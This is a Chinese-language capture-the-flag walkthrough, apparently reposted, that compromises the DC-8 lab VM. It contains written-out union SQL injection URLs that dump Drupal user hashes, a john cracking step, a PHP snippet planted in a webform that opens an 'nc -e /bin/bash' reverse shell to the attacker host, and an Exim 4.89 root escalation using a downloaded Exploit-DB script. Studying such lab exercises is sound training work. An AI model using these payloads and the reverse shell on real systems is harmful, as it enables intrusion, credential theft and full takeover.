DC-8靶機滲透實戰


前言:

本文將講述通過信息收集,再web站點的sql注入漏洞加john爆破登錄后台,然后找到遠程代碼執行漏洞getshell,最后用exim4命令提權漏洞進行權限提升拿到最終的flag。

0x00 環境

VMware 15虛擬機軟件;

DC-8靶機虛擬機(NAT模式);

kali虛擬機(NAT模式),ip為:192.168.106.129

0x01 信息收集

由於兩台機子都開啟的是nat模式,那么是在同一個網段里面。我們就可以是用namp先進行同網段的ip存活掃描。

kali的ip為192.168.106.129,因此nmap掃描命令為:

nmap -sP 192.168.106.1/24

 129是kali的ip,明顯,靶機的ip為192.168.106.134;

之后針對此ip進行全端口掃描,看是否開啟web的端口。nmap命令為:

nmap -sS -Pn -p- 192.168.106.134

 看到目標機開啟了22和80端口,22是ssh協議,可以進行ssh爆破,然后再xshell遠程連接,但是給了80,開了web服務,那先從web端開打,因為爆破成功率極小,除非是弱密碼。

 訪問彈出了web頁面,用谷歌插件wappalyzer識別出了這是一個drupal版本為7的 CMS搭建的,后台腳本為php,容器為apache

  robots.txt文件也可訪問

 習慣性查看頁面源碼看看有沒有目錄遍歷,發現不存在。

漏掃工具和目錄掃描工具 掃描一遍.

 

 

 發現掃到的目錄和robots.txt里面爆出來的目錄基本一樣,看了一些敏感文件,並沒有看到自己需要的信息,也沒有登錄密碼。

后台登錄的路徑爆出來了是/user/login.

我們在主頁點擊Details下面的三個選項,發現url帶上了nid參數,並且下面每點一個選項,會爆出一些內容,很像是sql注入的點,再url后面打個'試了試,發現爆sql錯誤,說明確實存在sql注入。

 構造了一下,發現就是一個數值型注入。

同時,漏掃結果也報出了存在sql注入漏洞。

0x02 sql注入加john爆破拿后台登錄用戶密碼

既然知道了存在sql注入漏洞及注入點,我們先從此下手,測試之后,發現閉合payload為:

http://192.168.106.134/?nid=1--+

order by 猜字段為1,union select 1查看一下顯示位,發現返回正確但是沒有看到內容為1的位置,那么讓nid=-1,將存在的顯示位騰出來給我門用。

直接爆數據庫:

http://192.168.106.134/?nid=-1%20union%20select%20database()--+

 爆表名:

http://192.168.106.134/?nid=-1 union select group_concat(table_name) from information_schema.tables where table_schema='d7db'--+

 發現users表,那么爆出users表的所有字段:

http://192.168.106.134/?nid=-1 union select group_concat(column_name) from information_schema.columns where table_schema='d7db' and table_name='users'--+

 看到name、pass字段,爆出里面的內容:

http://192.168.106.134/?nid=-1 union select group_concat(name) from users--+
http://192.168.106.134/?nid=-1 union select group_concat(pass) from users--+

 爆出兩個用戶,密碼拿去在線hash解密都沒有成功。這里百度了一下john,這個用戶給了一個提示,kali里面有一個密碼破解工具正是john,應該是要讓我們用john破解其中的hash值。

將第一個admin的hash值放入到一個hash1.txt文件中,然后是用默認的john字典進行爆破。

發現admin的hash並沒有解出,再將john用戶的hash放入到hash2.txt文件中,用john再默認跑一下。

結果很快的破解出了john的密碼,密碼為turtle

將用戶密碼拿到后台/user/login去登錄,成功登錄,

0x03 遠程代碼執行

在后台找一找有沒有上傳點,發現了一處可進行編輯的地方

 

 且只有contact us可進行編輯,

進去之后各種寫入嘗試,但是發現並沒有什么用,就算寫入有緩存,但是緩存文件名也不知道;

百度了一下drupal7 后台getshell漏洞,發現其中有說到:

選擇PHP_CODE模式(編輯php代碼)並預覽,預覽頁面載入后就會執行代碼

那么是不是找到PHP_CODE模式就差不多找到寫入點了。

接下來還是在contact us的編輯里面瘋狂找,我發現只有webfrom的settings部分有編輯器,這里應該可以利用。

 

 發現這個編輯器可以寫入源碼,左上角的源碼處,點擊發現寫入的是html源碼。

 既然可以寫html,那么肯定可以選擇寫php的代碼的模式,發現編輯器的下方有個選項,點擊真的有PHP_CODE

 

 那么就可以開始寫php代碼了,先寫了個phpinfo()看是否有顯示,發現並沒有

 

 保存了之后上面就說修改已上傳,但是上傳路徑並未給出,找了其他地方也沒有;

試了system執行shell命令,發現也沒有回顯,按照網上的說法,php代碼保存后會執行代碼,這應該是在靶機上已經執行了代碼,只是在后台不會顯示出來。

那么我們換一種思路,讓靶機在后台執行命令即可,我們並不需要看見命令執行的情況,這就可以使用nc反彈shell的方法,用system函數寫入nc反彈命令保存,然后它將在靶機上執行;在此之前在kali上開啟nc監聽,只要靶機上一觸發nc反彈命令,shell將反彈到kali上面來。

那么在編輯處先寫入如下的php代碼(<p>標簽中我們可以任意寫入文本,這里最好不要刪除掉,因為有的時候網站會按照模板先解析<p>標簽,如果沒有可能會出錯,所以不要將模板刪了。):

<p>flag</p>
<?php system("nc -e /bin/bash 192.168.106.129 7777"); ?>

ip是kali的ip,端口為為接收反彈的一個kali未被占用的端口。然后kali上面執行nc監聽:

nc -lvvp 7777

kali上先執行,然后我們再進行目標站點的后台編輯php代碼保存。

保存后發現沒有反彈呢,可能是contact us的編輯並沒有結束,只是保存了其中一個設置信息而已,發現view這里要提交郵箱等信息,最后才完成。

 

 隨便填入信息,然后確定,再submit,就成功反彈shell到kali上面了。

 

 用python命令轉化為常規shell:

python -c 'import pty;pty.spawn("/bin/bash")'

 根目錄下並沒有什么flag文件,現在並不是root權限,進步了root目錄,看來需要進一步提權。

0x04 exim4命令提權

查看一下內核版本,去網上找一找會不會有對應的內核提權

 Debian 4.9.51-1的,在網上找了並沒有對應的內核提權漏洞,臟牛提權試過了也不行;

linux里面有個suid權限執行二進制文件,這個權限涉及的命令權限都很大。

我們用find命令查詢一下這些命令:

find / -perm -u=s -type f 2>/dev/null

 

 每一個都拿去百度了,發現exim命令在使用時具有root權限,並且還看到一些有關於他的提權漏洞,那么在kali里面直接使用它對應版本的exp提權。

 搜索了一下,發現有很多exp腳本,那么我們先看看靶機的exim的版本信息:

 發現是4.89版本的,找到kali里面對應的本地權限提升的腳本文件(也就是local privilege esc),沒有的話apt-get upgrade更新一下再search.

我這里就沒有,應該是kali很久沒更新了,很多exp沒有下載,upgrade了一下(需要等一些時間),發現出現了我想要的exp腳本。

 

 這個46996.sh的腳本就是我們所需要的,將它上傳到自己的阿里雲服務器上,然后在靶機的shell上面下載此腳本,當然,如果沒有服務器的人可以在kali上面開啟http服務,因為是一個內網,也可以進行下載。

 

 然后將此文件先復制到物理機上,然后xftp連接雲服務器,將46996.sh拖入到服務器根目錄下。

 

 在靶機shell上用weget將46996.sh下載到本地

 

 發現沒有寫入權限,只有換其他目錄試,百度發現tmp目錄下有寫入權限

 

 成功下載,並將46996.sh文件賦予最高可執行權限777

chmod 777 46996.sh

執行腳本的時候始終報錯,網上的解決方法和這個不匹配,

那么只能復制exp的代碼了,在網上找到46996.sh腳本的代碼,鏈接:https://www.exploit-db.com/exploits/46996

點擊view raw查看代碼,然后復制所有代碼,在靶機的shell上vi新建一個exp.sh文件,然后將代碼復制進去,我這里是用的xshell連接到kali操作的,最后保存,並賦予其777權限。

 現在可以執行腳本了

 但是執行完之后發現還是普通用戶權限

單獨運行提權不行,我們打開文件看看腳本的使用規則,發現共有兩條使用規則:

 

 看見第一個是default,先試試,要先exit退出到一級shelll來,然后執行第一條規則

 

 發現還是普通用戶權限,接着exit退出使用第二條規則:

./exp.sh -m netcat

 

 發現已經是root權限,成功提權。

然后進入root目錄,查看到flag文件,打開查看到flag內容:

 

 總結:滲透之路總是曲曲折折,總是走不完,但是走得多了,自然會出現正確之路的方向!

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM